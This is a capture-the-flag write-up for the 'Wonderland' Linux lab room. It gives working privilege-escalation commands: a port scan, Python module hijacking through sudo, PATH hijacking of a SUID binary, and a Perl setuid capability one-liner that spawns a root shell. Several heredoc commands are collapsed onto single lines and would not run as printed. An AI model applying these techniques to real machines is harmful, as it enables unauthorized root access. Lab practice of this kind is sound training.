Wonderland is a Linux privilege escalation room where the goal is to move through multiple low-privileged users and eventually gain root access. The room focuses on techniques such as web enumeration, SSH access, Python module hijacking, PATH hijacking, SUID binaries, and Linux capabilities
Active Recon
nmap -sSV -sC -Pn -T4 --min-rate 1000 -p- 10.48.186.218 -oN wonderland_nmap.txt
Open Ports: 22 (SSH) and 80 (HTTP)
Initial Access
Navigating to:
http://10.48.186.218/r/a/b/b/i/t/
The page source reveals credentials that can be used to obtain an initial SSH foothold.
After logging in, the user flag can be retrieved:
cat /home/root/user.txt
Privilege Escalation
1. Alice → Rabbit — Python Module Hijacking
sudo -l cat > /home/alice/random.py <<'EOF' import os os.system("/bin/bash") EOF sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
2. Rabbit → Hatter — SUID + PATH Hijacking
ls -la /home/rabbit/teaParty
-rwsr-sr-x 1 root root ... teaParty
file teaParty
ltrace -s 200 ./teaParty system("/bin/echo -n 'Probably by ' && date --date='next hour' -R")
mkdir -p /tmp/wonderland
cat > /tmp/wonderland/date <<'EOF' #!/bin/bash /bin/bash EOF
chmod +x /tmp/wonderland/date
export PATH=/tmp/wonderland:$PATH
/home/rabbit/teaParty
3. Hatter → Root — Linux Capability Abuse
cat /home/hatter/password.txt
ssh hatter@10.48.186.218
getcap -r / 2>/dev/null
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
cat /home/alice/root.txt
Thank you for reading. I hope you enjoyed this story and found it helpful.😊
LinkedIn: https://www.linkedin.com/in/muhammad-saad-9818502b3/
Guthub: https://github.com/msaadraj
Medium: https://medium.com/@0x7ipher
